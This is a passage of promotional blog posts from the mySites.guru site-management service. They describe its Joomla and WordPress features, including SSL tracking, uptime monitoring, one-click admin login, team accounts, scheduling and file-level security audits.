You can also enable public pages in your mySites.guru account to get a token (a string like smk4md33zf223efmg6y3bgbbo7mmeu63 - that one's fake).

Do that on the Public Site Screenshots page, then edit the workflow in Alfred and paste your token where it says ENTER_TOKEN_HERE.

With the token configured, you can search your actual sites by name and jump straight to the Manage Site page. For a site called mySites.guru, it's just:

CMD+SPACE 
my 
SPACE 
mys 
ENTER

That's it. The mys filters the site list down to the right result.

Prefer Raycast over Alfred? We built a Raycast extension too.

Productivity integrations are covered in our multi-site management guide.

Track SSL Certificate Expirations Easily

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

<div class="not-prose rounded-lg border border-neutral-200 dark:border-neutral-700 bg-neutral-50 dark:bg-neutral-800/50 p-4 flex gap-3 items-start text-sm"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" class="w-5 h-5 shrink-0 fill-neutral-500 dark:fill-neutral-400 mt-0.5"><path d="M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464a256 256 0 1 0 0-512 256 256 0 1 0 0 512zM216 336l-24 0 0 48 128 0 0-48-32 0 0-112-96 0 0 48 48 0 0 64-24 0zm72-144l0-64-64 0 0 64 64 0z"/></svg> <p class="text-neutral-700 dark:text-neutral-300 m-0">The screenshots below are from an older version of the interface. We've since redesigned the dashboard, but the process works the same way.</p> </div>

mySites.guru has checked SSL certificates on every site snapshot since 2012. It's one of those features that runs quietly in the background - you only notice it when something goes wrong and it catches the problem before your clients do.

When we snapshot your Joomla or WordPress site as part of our security audit, we download the active SSL certificate the same way a browser would. We check the SSL issuer, expiration date, and the full certificate validation chain to make sure all intermediate certificates are also valid.

SSL has a lot going on under the hood. We check the ciphers in use and the minimum encryption level your server accepts. If your site allows insecure encryption methods, we'll alert you by email.

We also distinguish cPanel and Let's Encrypt SSL Certificates as these are normally web host provided and auto-renewed without user intervention, these are shown with custom icons on your dashboard.

Why are short expiration dates now standard?

Certificate lifetimes have been shrinking for years. What used to be a 2-5 year certificate is now often 90 days with Let's Encrypt. Auto-renewal handles this most of the time, but when it fails, browsers block your site for visitors entirely.

That's why mySites.guru shows you an overview of all your SSL certificates sorted by expiration date.

On this screen you can also export the list to CSV file for further offline processing should you wish.

How do expiry alerts work?

By default, mySites.guru alerts you when a certificate gets within 2 days of expiry. For most sites with auto-renewal that threshold should never trigger - but it's there as a safety net.

If your renewal process requires more lead time, you can configure how many days in advance you want the alert.

What about Qualys SSL Labs integration?

Qualys SSL Labs is the standard tool for testing SSL implementation in depth. mySites.guru links directly to it from the Learn More page in the SSL Snapshot tool.

It gives you detailed technical information about your SSL configuration and your web server's security posture.

SSL tracking is covered in our monitoring and alerting guide.

Best Practice for Joomla & WordPress Sites

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

Every check in the mySites.guru Snapshot and Audit - well over 100 of them - has a "Learn More" page explaining what the check looks for, why it matters, and what to do about it.

Not everyone will agree with every recommendation we make, and that's fine. Each check exists for a reason, most of it based on years of involvement with the Joomla project (and more recently WordPress).

Each "Learn More" page includes most of the following:

Our Recommendation
How the audit checks this setting
Background Information
A tool to investigate, or an explanation of why no tool is available
Further Reading
Get Expert Assistance

To make this concrete, the rest of this post walks through one check: "Logs/tmp Folder Locations Should Exist At Default Locations" for Joomla sites.

WordPress-specific checks include things like debug constants and admin bar logo removal, each with a one-click toggle.

This check is in the snapshot, and looks like this:

You can click on the Learn More link to get to that page.

The recommendation

This block states what we consider the correct best practice, with context explaining why.

Example "Our Recommendation" block on the Learn More page

How the audit checks this

This block explains, in technical and non-technical language how the mySites.guru snapshot/audit process gets its data for this check.

Background information

This block includes any additional background context worth knowing about the issue.

Tools

Usually a direct link to the Investigate Tool, or back to the Snapshot/Audit tabs if this check has a toggle.

Get Expert Assistance

If you need help fixing an issue, we offer fixed-fee paid consultancy to resolve problems identified in a snapshot or audit. Full details and request form at fix.mysites.guru.

Manage all your Joomla Sites Extensions with mySites.guru

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

Two years ago we were tracking over four million relationships between Joomla sites, extensions and the update sites that are used for updates from the developers, and, we got it wrong. Our architecture was wrong, and the performance sucked. So we made the decision to remove it then.

This has now been completely rewritten (Using PHP 7.4 and Symfony 4.4) for the mySites.guru service and has been re-released to great praise from our long term subscribers, some of which have been subscribers since 2012!

(Edit: This is an old article now, we now run on the very latest Symfony framework and the very latest PHP version (8.3.3 at the time of this edit!)

Want to Update One Extension on Multiple Sites instantly?

Watch Tim walk you though it

So what can I do with mySites.guru to manage my extensions?

These are the main headline features:

You can view a complete list of extensions installed on your portfolio of sites.
You can search for a specific extension regardless of version number, and see the sites that have that extension installed
You can search for a specific version of a specific extension, and see all the sites that have that specific version installed
You can see how many other sites in our database, have those extensions installed too, as a Top 50 Extensions list, drawn from live data in our database of paying customers with almost 60,000 sites.
You can filter the Mass Package Installer page, by all sites with a certain extension installed (Allowing you to push an update to just those sites)
For any site, you can see each and every extension, plugin, template or module (or even library) installed, its version number, links to its developer and their support sites.
As previously announced, you can now set ANY EXTENSIONS update stream to automatically provide updates as soon as they are available - fully automated updates of any Joomla extension
You can use the Mass Package Installer to push any Joomla extension, module, plugin, or template to all your sites in one go, or a selection of sites.

As you can see above, each of these features enables you to make wide-ranging and sweeping changes to ALL your sites in one go, or a sub set of those selected sites making the task of keeping your Joomla extensions up to date a breeze. If you're running a Joomla agency, this pairs naturally with the broader workflow for managing multiple Joomla sites.

So what are the Top Ten Extensions used by mySites.guru customers?

Well you could login and click the link, but here is a snapshot in time image below to give you a rough estimate on 1st December 2019. The list is a pretty obvious list of the major players in Joomla extensions, nothing exciting or different to our expectations really.

To view the full list of 50, login and navigate to the realtime list.

Example overview page of an old extension on old (hackable) sites.

/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/

Extension management at scale is a core topic in our Joomla Agency Handbook.

Manage Multiple Sites With Your Whole Team

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

If you run an agency, you've probably been through the dance of sharing logins over Slack or forwarding alert emails to the right person. We added team accounts to mySites.guru so you can stop doing that. If you're still getting your head around the core workflow, start with the guide to managing multiple WordPress sites - team access is the natural next step once the basics are in place.

Everyone on your team gets their own login. You pick which sites they can see and which tools they can use - backups only, monitoring only, full access, whatever makes sense. Want to give a client read-only access to just their own site? That works too. For client-facing sites, you can also remove the WordPress logo from the admin bar and send white-label reports so everything looks professionally branded.

How do you set it up?

Go to your Account page, open the Your Team tab, and click Add Team Member. Assign them sites and pick their permissions. They'll get their own login and can start working right away.

How do notifications work?

Team members get all notifications by default. They can tweak their own notification preferences without affecting yours. Changes anyone makes to site config or monitors apply to the site, not the user, so everyone sees the same thing.

How do passkeys and security work?

Every team account supports passkeys - Face ID, Touch ID, Windows Hello, whatever your device offers. No codes to type, no authenticator app to fumble with, and nothing that can be phished. Your team logs in with a fingerprint or a glance and they're in.

Passkeys replace the weakest link in account security (passwords people reuse everywhere) with cryptographic keys tied to their device. If someone on your team is still using password123 for everything, passkeys fix that problem permanently.

Two Factor Authentication is also available for teams that want a more traditional setup. You can send password resets, disable accounts, or remove someone whenever you need to.

There are no per-seat fees. Team access is part of every plan - add as many people as you need.

Add Your First Team Member Now

Team collaboration is a key topic in our guide to multi-site management.

Manage Multiple WordPress Sites

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

If you're looking after more than a handful of WordPress sites, you already know the pain. Logging into each one individually to check for updates, run backups, or see if something's broken. It doesn't scale, and it gets old fast.

I built mySites.guru to fix exactly this problem. One dashboard, all your sites, no per-site fees.

What is the problem with multiple WordPress sites?

A single WordPress site is fine. You log in, update your plugins, check your security, move on. But once you're managing 10, 50, or 200 sites for clients, that approach falls apart. You end up with browser tabs everywhere, forgotten updates, and security issues you don't find out about until a client emails you in a panic.

Most people try to solve this with spreadsheets, bookmarks, or sheer willpower. None of those work long-term.

What does mySites.guru do differently?

The mySites.guru dashboard shows site health, update counts, security alerts and uptime status across every connected site. No more logging into each one.

The audit tools scan every file in your webspace for hacks and backdoors, not just the obvious stuff. You get real-time alerts when files change or someone logs into an admin panel. This matters because site management goes deeper than updates, backups, and uptime.

Update WordPress core, plugins, and themes across hundreds of sites at once. You pick what to update, hit go, and get notified when it's done. You can also disable automatic updates so nothing changes without your approval. The full process for managing multiple WordPress sites - including how to structure your setup from day one - is covered in the dedicated landing page.

Set up automated backup schedules using Akeeba Backup or All-In-One Migration. You can run backups across thousands of sites from the dashboard without touching FTP or SSH.

One-click admin login lets you jump straight into any site's admin panel without remembering passwords. It's genuinely the feature people tell me they use most.

If you're an agency, white-label client reports let you send branded reports to clients showing what you did, when, and why. Useful for proving your value at invoice time. You can also remove the WordPress logo from the admin bar with one click for a cleaner, branded admin panel.

What best practice checks run on every site?

The mySites.guru snapshot and audit tools run over 100 checks on each site, twice a day. Security headers, PHP versions, SSL certificates, disk space, and more. You don't have to remember to check. It just tells you when something needs attention.

Claim your free audit and see for yourself.

Does it work with more than just WordPress?

mySites.guru also works with Joomla and any PHP-based site. Craft, OctoberCMS, whatever you're running. If it has PHP, you can connect it. Unlimited sites, one flat monthly price.

Multi-site management is covered comprehensively in our agency guide.

Manage Your Joomla 4 Sites with mySites.guru

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

<div class="not-prose rounded-lg bg-neutral-900 p-4 flex gap-3 items-start text-sm"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" class="w-5 h-5 shrink-0 fill-white mt-0.5"><path d="M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464a256 256 0 1 0 0-512 256 256 0 1 0 0 512zM216 336l-24 0 0 48 128 0 0-48-32 0 0-112-96 0 0 48 48 0 0 64-24 0zm72-144l0-64-64 0 0 64 64 0z"/></svg> <p class="text-white m-0">This article was written when Joomla 4 first launched. Joomla 4 has since reached end of life. If you're still running Joomla 4, plan your migration to the latest Joomla version sooner rather than later.</p> </div>

Joomla 4 was released on 17 August 2021 after nine years of development. mySites.guru had full support ready from day one.

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200">ℹ️ Full Joomla version support</p> <p class="mt-1 text-sm text-blue-800 dark:text-blue-300">mySites.guru is compatible with <a href="/blog/end-of-life-supported-versions/" class="underline">every Joomla version from 1.5.0 onwards</a> - including Joomla 4, 5, and 6. Even if a <a href="/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/" class="underline">site has been hacked</a> and compromised, the audit and monitoring tools still work.</p> </div>

How does mySites.guru handle Joomla upgrades?

mySites.guru never performs major Joomla upgrades automatically. You have to log in and request that mySites.guru perform an upgrade.

When Joomla 3.10.0 was first released, it mistakenly showed a one-click upgrade path to Joomla 4.0.0 in the admin panel. That was never supposed to happen - Joomla 3 to 4 was always a migration, not an upgrade. We blocked the Joomla 3 to 4 upgrade path in mySites.guru entirely to prevent accidental major version jumps.

The Joomla project later acknowledged the issue and moved Joomla 4.0.0 to a separate update stream so that Joomla 3.10.0 sites wouldn't see it unless the update channel was manually changed.

References:

Joomla 1.5 through 3 all share a single connector plugin. Joomla 4, 5, and 6 each have their own dedicated connector, built to take advantage of the higher PHP requirements in each major version.

How do you migrate from Joomla 3 to Joomla 4?

Migrating to Joomla 4 means checking every template, extension, plugin, and module for compatibility. Joomla's built-in Pre-Update Checker has a history of reporting incorrect compatibility results, so verify each extension manually.

The dedicated guide covers the mySites.guru side of this in more detail: Migrating to Modern Joomla When Using mySites.guru.

How do you reconnect a migrated site to mySites.guru?

Uninstall the mySites.guru system plugin from the Joomla 3 site
Delete the site from your mySites.guru account
Perform the mini-migration to Joomla 4
Use the Add Another Site process to generate the Joomla 4 connector and install it on your migrated site

What about Joomla 5 and Joomla 6?

Joomla 5 and 6 are also fully supported, each with their own dedicated connector plugin. mySites.guru also has tools to check whether your servers are ready for each version:

Migrating to Modern Joomla When Using mySites.guru

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

This is not a guide on how to migrate Joomla 3 to a newer version. This is for mySites.guru subscribers who want to keep their sites connected and monitored after migrating.

Joomla 3 reached end-of-life on August 17, 2023. No further releases will be made, even for security issues. If you still have Joomla 3 sites, migrating to Joomla 4, 5, or 6 should be a priority.

Joomla 5 is the current stable release, and Joomla 6 is already out. Which version you target depends on your hosting and what extensions you need. Check the Joomla 5 requirements and Joomla 6 requirements to see if your servers are ready.

Why is this a migration, not an upgrade?

Moving from Joomla 3 to Joomla 4+ is a migration, not a one-click upgrade. Every plugin, extension, module, and template on your site needs a compatible version for the target Joomla release. Some won't have one. If you manage multiple sites, the template comparison tool helps you track which sites still need their templates migrated.

Sometimes the only way to find out is to attempt the migration and fix what breaks. Plenty of migrations stall when that one extension you depend on hasn't been updated in years and has no replacement.

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200">ℹ️ Joomla's official migration guides</p> <p class="mt-1 text-sm text-blue-800 dark:text-blue-300">These were written for the Joomla 3 to 4 migration. Some URLs may have moved since then, but the general process still applies for moving to Joomla 4+.</p> <ul class="mt-2 text-sm text-blue-800 dark:text-blue-300 list-disc list-inside space-y-1"> <li><a href="https://docs.joomla.org/Planning_for_Mini-Migration_-_Joomla_3.10.x_to_4.x" class="underline">Planning for Mini-Migration</a></li> <li><a href="https://docs.joomla.org/Special:MyLanguage/Joomla_3.x_to_4.x_Step_by_Step_Migration" class="underline">Step by Step Migration</a></li> <li><a href="https://docs.joomla.org/Pre-Update_Check" class="underline">Pre-Update Check</a></li> </ul> </div>

Why don't we offer a fixed-fee migration service?

Every Joomla 3 site is different. The extensions, the template framework, whatever custom code has been bolted on over the years. We could get days into the work and hit a wall because one critical extension has no modern replacement.

There's no honest way to quote a fixed price for that, so we don't offer it.

How do you reconnect mySites.guru after migration?

The Joomla 3 connector won't work on Joomla 4 or later. Joomla 4, 5, and 6 each have their own dedicated connector plugin, built to take advantage of the PHP standards available in each major version.

Here's the process:

Remove the old mySites.guru plugin from your Joomla 3 site before migrating
Delete the old site entry from your mySites.guru account
Migrate your site to your target Joomla version (4, 5, or 6) and get it stable
In mySites.guru, click "Add Another Site" and select the Joomla 4+ connector option
Install the new connector in your migrated site's admin panel

After that, mySites.guru works the same as it did with your Joomla 3 site. All the same monitoring and management tools, plus version-specific features like the Joomla 5 and Joomla 6 requirements checkers.

If you run into any issues during the reconnection, get in touch.

Migration planning is covered in depth in our Joomla Agency Handbook.

Monitor site uptime with mySites.guru

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

We used to provide UptimeRobot Integrated monitors for your sites, but now we are providing UNLIMITED FREE uptime monitors - powered by our own custom-written engine - to all mySites.guru subscribers and connected sites.

How does free uptime monitoring work?

mySites.guru used UptimeRobot for uptime monitoring for nearly a decade. After reliability problems and a 352% price hike, we built our own engine instead. No extra cost to subscribers.

The engine runs as a standalone Node.js service on its own infrastructure, separate from the main mySites.guru servers. It checks your connected sites and alerts you when they go offline (or worse, get hacked) so you can respond quickly. mySites.guru also does SSL checks and much more in our audit tools.

The engine starts with a single HEAD request. If your site responds, great - nothing happens.

If there's no response within 45 seconds, it retries with a GET request and waits another 45 seconds. If that also fails, it makes one final GET request from a different location around the world (from a secret IP - your site shouldn't be blocking IPs, it's a public site). If all three fail, you get an email alert. If you get an alert but your site loads fine for you, there are a few common reasons for that.

Sites on the same server are staggered across different check times so we don't hit your server with a burst of HEAD requests all at once.

We load-tested the platform to 1 million domain checks per second. The whole thing runs on three $5 servers - a fraction of what UptimeRobot was charging us. We just needed the push to build it ourselves.

<div class="not-prose rounded-lg border border-neutral-200 dark:border-neutral-700 bg-neutral-50 dark:bg-neutral-800/50 p-4 flex gap-3 items-start text-sm"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" class="w-5 h-5 shrink-0 fill-neutral-500 dark:fill-neutral-400 mt-0.5"><path d="M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464a256 256 0 1 0 0-512 256 256 0 1 0 0 512zM216 336l-24 0 0 48 128 0 0-48-32 0 0-112-96 0 0 48 48 0 0 64-24 0zm72-144l0-64-64 0 0 64 64 0z"/></svg> <p class="text-neutral-700 dark:text-neutral-300 m-0">The screenshots below are from an older version of the interface. The dashboard has since been redesigned, but the monitoring works the same way.</p> </div>

Example email alert:

You can see an overview of all your monitors in your account:

You can also see the last 24 hours of response times, which makes it easy to spot performance problems:

Why did we stop using UptimeRobot?

mySites.guru used UptimeRobot for uptime monitoring from 2012 until August 2021. After UptimeRobot was acquired by itrinity in 2019, the service suffered repeated outages and our account was terminated without warning on multiple occasions. In July 2021, the new owners tried to raise our annual fee from $6,792 to $22,416 (a 352.4% increase) with 66 days' notice. We declined, and on 12th August 2021 we switched to our own custom-built monitoring engine. It handles all our monitoring at a fraction of the cost, with no third-party dependency.

Uptime monitoring is covered in depth in our site monitoring and alerting guide.

mySites.guru is the new name for rebranded myJoomla.com

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

As our service now supports Joomla and WordPress CMS’s, its no longer appropriate to be called “myjoomla.com” and therefore we have changed the service name to mySites.guru.

For a limited time myJoomla.guru will be used to market to individual segments of the market specific to one of the platforms, but moving forward mySites.guru will be the new name, and home of our service.

80,000+ Sites Trust mySites.guru

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

Over 80,000 Joomla, WordPress, and PHP sites are connected to mySites.guru, with new ones added every day.

People stick with us because the product works. Any service can backup, update and monitor a site. But we deploy new code multiple times a day, react to emerging threats in real time, and add new hack file signatures daily. Our detection of hacks inside Joomla and WordPress files is something nobody else comes close to.

I work on this full time. Not a side hustle - it's what I do.

There's always room to improve. Deploying multiple times a day means we do improve things daily, refining features and adding tools that make it easier to maintain your sites and your clients' sites.

80,000+ sites now trust mySites.guru. Still only the beginning.

One-Click Admin Login to Any Site

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

If you manage more than a handful of sites, you know the routine: open a tab, navigate to /administrator or /wp-admin, type your username, type your password, hit enter, wait. Multiply that by 10, 50, or 200 sites and it adds up fast.

One-click admin login removes all of that. From your mySites.guru dashboard, press a single button and you're sitting in the admin console of any connected Joomla or WordPress site - logged in, ready to work.

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200">March 2026: Redesigned login screen</p> <p class="mt-1 text-sm text-blue-800 dark:text-blue-300">The one-click login experience has been redesigned with a cleaner, more focused interface. You now see a clear "Signing you in" confirmation with the target domain displayed front and center, along with a real-time status indicator as the secure session is established.</p> </div>

</div>

Thousands of users have been using this feature since 2017. We publish live login statistics inside your account so you can see just how much time it saves across your team.

What does one-click login look like in practice?

Click the Admin Login button next to any site
A new tab opens and you're already logged into the admin console

That's it. No credentials to type, no login pages to wait for.

How does the encrypted login handshake work?

Your password is never involved. We don't ask for it, we don't store it, and we don't want it. Instead, every login goes through a multi-step encrypted handshake:

mySites.guru contacts our request validation service to register an upcoming request
An encrypted login request is sent to the mySites.guru plugin/extension on your site
Your site checks back with our validation service to confirm the request is genuine
After validation, your site decrypts the request and sees it's a login instruction
Your site creates a new session for the admin user you've pre-selected in mySites.guru
You're redirected to your site, where your browser picks up that session

You're logged in without a password ever crossing the wire. For logging into your mySites.guru account itself, we also support passkeys - so you can go fully passwordless end to end.

How do you set it up?

One-click login is an opt-in feature. To enable it:

Connect your site to your mySites.guru account
Go to the Settings Tab on the Manage Site page
Select the admin user you want to log in as

Once configured, every admin link within mySites.guru automatically becomes a one-click login button.

</div>

What is the mySites.guru auto sign-in dashboard?

Need to jump between multiple sites quickly? The Secure Auto Sign In dashboard lists all your connected sites with a login button next to each one. You can also choose which user to log in as, per site.

Three ways to get there:

Press ll (two lowercase L's) from anywhere in mySites.guru
Press Cmd+K to open the command palette and search for "Secure Auto Sign In"
Use the Tool Finder

</div>

What if your admin area has .htaccess protection?

If your admin area is behind .htaccess basic auth, you have two options:

Store the credentials on the site's settings page in mySites.guru so login is fully automatic
Enter them once manually when prompted - your browser caches .htaccess credentials until you restart it, so you'll rarely need to re-enter them

Why does passwordless login matter for agencies?

Shared credentials are one of the biggest security liabilities in agency life. A spreadsheet of admin passwords floating around your team, sitting in a Slack thread, or saved in someone's browser is a breach waiting to happen. When a team member leaves, you're scrambling to figure out which sites they had access to and which passwords need rotating.

One-click login sidesteps the whole problem. No passwords are stored, shared, or transmitted. Each login is a unique encrypted session that's validated in real time. If someone leaves your team, you revoke their mySites.guru access and they lose the ability to log into every connected site immediately. No password rotation needed.

This is also safer than browser-saved passwords or even most password managers in a team context. Those tools still store the actual credential somewhere. With mySites.guru, the credential simply doesn't exist in the workflow. Your site's admin password can be a 64-character random string that nobody ever types, because nobody needs to.

How does mySites.guru compare to other management tools?

Most WordPress hosting platforms now offer some version of one-click admin access. Kinsta has WP Admin auto-login through MyKinsta, and Flywheel offers Seamless Login from their dashboard. ManageWP (owned by GoDaddy) has had one-click login for years.

Three practical differences using mySites.guru:

WordPress and Joomla. Every competitor listed above is WordPress-only. If you manage a mixed portfolio with Joomla sites alongside WordPress, mySites.guru is the only dashboard that handles both from one place.
Host-independent. Kinsta and Flywheel only work with sites hosted on their own platform. mySites.guru connects to any site on any host, whether it's a $5 VPS or a dedicated server you manage yourself.
No credential storage. Some tools require you to store admin credentials on their servers. mySites.guru never touches your password. The encrypted handshake means there's nothing to leak even if our database were compromised.

When does mySites.guru one-click login save the most time?

The feature sounds like a small convenience until you use it at scale. Three places where it actually changes the workflow:

Emergency response. A client calls to say their site is broken. Instead of hunting for credentials, navigating to wp-admin, and typing everything in, you click one button and you're inside their admin console within two seconds.

Morning check routines. If you run through 20-50 sites each morning to check for issues, one-click login turns a 30-minute ritual of typing passwords into a 5-minute scan. Open the auto sign-in dashboard, click through each site, check what you need, move on. Combined with real-time alerts for admin logins and file changes, you catch problems before your clients notice them.

Client support. A client asks you to check a plugin setting or debug a form that's not working. You're logged into their admin console before they finish explaining the problem. No back-and-forth asking for credentials, no waiting for them to find their password.

Can you log in as a different user with mySites.guru?

Yes. The auto-login configuration lets you choose which user to log in as on each site. If you normally log in as the Super Admin but need to check something as an editor or a client's own account, just change the selected user in the site's settings. The next time you click Admin Login, you'll be logged in as that user instead.

This is useful for support situations where a client reports a problem that's specific to their account or role. Rather than asking them to describe what they see, you log in as their user and see it yourself.

mySites.guru's Universal User Management takes this further. From a single page, you can search every user account across all your connected sites, find a user by name or email, see which sites they have accounts on, reset their password, or change their role.

For your own mySites.guru team, there's also a separate team member impersonation feature. As the account owner, you can switch into any team member's session to see exactly what they see, verify their permissions are correct, or debug an issue they're reporting. No credentials needed, and you exit back to your own account instantly.

The mySites.guru Command Palette Navigation

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

A command palette is one of the fastest ways to navigate a large application. Press Cmd+K (or Ctrl+K on Windows) anywhere in mySites.guru to open it and navigate the whole service with a few keystrokes.

The command palette in your manage.mySites.guru account includes all menu options and account functions - changing your password, viewing your invoices, everything.

All your sites are included too. If you have 100 sites you can jump straight to any site's manage page from anywhere: press Cmd+K, type a few characters of the site name or domain, hit Enter.

You can also access most of the toolset from the command palette. The point is you don't need to click through the tool finder or remember where things live - just search for what you need.

The mySites.guru command palette that can be invoked with cmdk

Are command palettes a new thing?

Some of the other advantages command palettes bring when done correctly:

You don’t have to take your hands off the keyboard. No clicking into menus, remembering where a feature lives. Just cmd+k and type.
You don’t need to know if functionality exists - type what you want and find out if it does and where it is.
Design trends and long-lived software mean that the UI can change. With a command palette, you don’t need to know where functionality has moved - you just search for it.
You can hide functionality from the UI, avoiding cluttering the screen, overwhelming folks with options, or confusing them with multiple sub-menus.
They can be implemented to help users with disabilities by providing keyboard shortcuts or screen reader support.

You can read more about the past, present and future over at https://www.commandbar.com/blog/command-palette-past-present-and-future/ although we still dont believe that AI is worth the hype and will never replace much of what its hyped to replace - command palettes bring quick and easy navigation to large applications.

Does Google Chrome have a command palette?

If you are using Google Chrome, then you already have an app that has a command palette built in! The console has a command palette that allows easy access to all features - to invoke that open your Inspector (console), focus it, and press cmd p (or ctrl p on windows) ro open a resource or SHIFT CMD P to open the full command palette to run commands.:

The Google Chrome Command Palette

I use it mainly to disable Javascript for testing -

Cmd P (ctrl P on windows) is a common keystroke for command palettes for obvious reasons.

SublimeText also has a command Palette -

The Sublime Text command palette

What is the best command palette in existence?

Yes its true, the best command palette we use daily is the one from GitHub which is invoked on any github.com repo with Cmd k / ctrl k

The GitHub command palette

from this interface you can navigate pretty much anything in your repository - or even press the delete button to break out of the current context and load different contexts or search across the whole of GitHub - it really is the best ever command palette integration we have ever seen!

The GitHub command palette

Did you know WordPress has a command palette?

No neither did I until researching this blog post!

You can learn more about the WordPress Command Palette on the official learn.wordpress.org website.

To access the WordPress Command Palette, simply open the Site Editor or a page or a post and use the keyboard shortcut command K on Mac or control K on Windows. You can also find it in the sidebar of the site view by clicking on the Search icon or the title bar of a template or page. Once you open the Command Palette, you will see a list of available commands.

What other keyboard shortcuts does mySites.guru have?

if you press the question mark on your keyboard (shift / on my mac) then you will get to the Keyboard Shortcuts page describing other keyboard shortcuts you can use from anywhere.

These include some of the most commonly used tools such as:

the Mass Remote Installation Of Plugins (keyboard shortcut: m i)
the Mass Update WordPress/Joomla Sites Tool (keyboard shortcut: m u)
the Available Upgrades & Extension/Plugin Updates (keyboard shortcut: u)

You can even toggle dark mode from anywhere simply by pressing d

Want to quickly logout? Press shift l (thats basically a capital L to logout)

Want to get back to your list of sites? (s) or just view WordPress Sites (w)

So many more keyboard shortcuts are available in your mySites.guru account.

Just some of the long list of keyboard shortcuts in the mySites.guru service

Navigation tools like this are covered in our agency management guide.

Schedule Audits, Updates & Backups

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

mySites.guru runs a scheduler for Joomla and WordPress sites that handles audits, snapshots, backups and updates. It works on both a time-based and an action-based model.

Audit schedule

For example. Audits are run either daily, weekly, or monthly, based on the last time an audit was taken. The time based part is "daily/weekly/monthly" and the action based part is the "time an audit was last taken". If you manually start an audit then the time is reset, and your schedule is based on that time. So the next audit will be a week after that time (or a day/month depending on what you select)

Please note: We only run one audit per hostname (server hostname) at a time, and queue any others that are due on the same server to restrict the load we place on a single server. No one wants 100s of audits of sites on the same server at the same time... not even us!

The audit scheduler allows you to see your chosen schedule, and if you have chosen to disable the schedule you can see that too.

Backup schedule

mySites.guru has support for Akeeba Backup for Joomla and WordPress, and (currently) All-in-one Migration Plugin for WordPress.

Again, you can set daily, weekly, or monthly backup schedules in your mySites.guru account, you can even start backups from the same screen or queue the start of backups on all your Joomla and WordPress sites.

Updates schedule

The updates scheduling is slightly different.

You don't specify a time for updates of extensions and plugins to happen, you can enable auto updates for any extension on a per site, or per update site basis

On the next snapshot we take (currently twice every 24 hours) if we spy that an update is available, then we will attempt to apply the update, and notify you (according to your preferences) if the update was successful or not.

You can view the result of the scheduled updates in your account too

Can you schedule white label reports?

Upcoming in the mySites.guru service shortly, you will also be able to schedule white label reports to be sent to you or your clients about their sites, a subset of sites or just one site. More on this soon. Shhh its a secret!

Real-time triggers and near real-time alerting

Not so much scheduled, but in almost real-time, the mySites.guru service can alert you to events happening on your website such as

When a user logs in
When a new user is created
When a non-admin tries to login to admin
When your templates file is modified
When your sites configuration file is modified
etc...

These alerts are sent to you according to your notification preferences and can be a real lifesaver if your site has been hacked in the past and you want visibility on whats happening. Regular audits also surface hidden files lurking in your webspace that real-time triggers alone won't catch.

For a complete guide to keeping CMS updates, backups, and audits in sync across a large portfolio, see managing CMS updates at scale. If you want to go further with alerting, the site monitoring and alerting guide covers what to watch for and how to act on it.

Not yet a subscriber? Run a free site audit to see what mySites.guru finds on your site.

Deep Security Audit for WordPress & Joomla

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

Think your WordPress or Joomla site is clean? Surface-level scanners only see what a browser sees. A proper security audit digs into every file in your webspace - and that's exactly what the mySites.guru audit does. Want to try it? Run a free site audit with no credit card required. If you suspect you've already been compromised, here's how to tell if your WordPress site has been hacked. If you're specifically looking for malware, our dedicated WordPress malware scanner and WordPress vulnerability scanner give you focused results for those two threat categories. If the worst has already happened, our WordPress hacked guide and Joomla hacked guide walk you through recovery step by step.

In this post I'll walk through how the mySites.guru security audit works, what it checks, and why it catches things that other tools miss.

Connect unlimited sites to the mySites.guru service, then you can run UNLIMITED audits of your UNLIMITED sites on demand, or schedule them to run daily, weekly or monthly.

Some other services claim to have an "audit" tool. Most of the time they mean they have implemented the Sucuri SiteCheck API, which only "scans" your site as a visiting browser would, it doesn't check the files in your webspace, and doesn't find anything that is hidden under the surface of your rendered webpages. Be warned. Not all "Audits" are in-depth and comprehensive!

Make sure you compare apples with apples. Not everyone claiming to be an "apple" is.

At the start of every audit we also run our snapshot tools, capturing over 100 quick checks of your site. Added to the audit that's even more checks! These include WordPress configuration checks like removing the admin bar logo, debug constant management, and cleaning up default Sample Page and Hello World content, each with a one-click fix.

The audit first compiles a list of all the folders in your webspace - without exceptions - and then grabs a list of the files in those folders.

We then run an exhaustive process which includes:

Identifying it the file is a core Joomla or WordPress file
If it's a core file, identifying if that file has been modified since release
If the core file is modified, doing a comparison with the original file
Storing the md5 hash of the file for future comparison
Looping through every single line of code in every single file
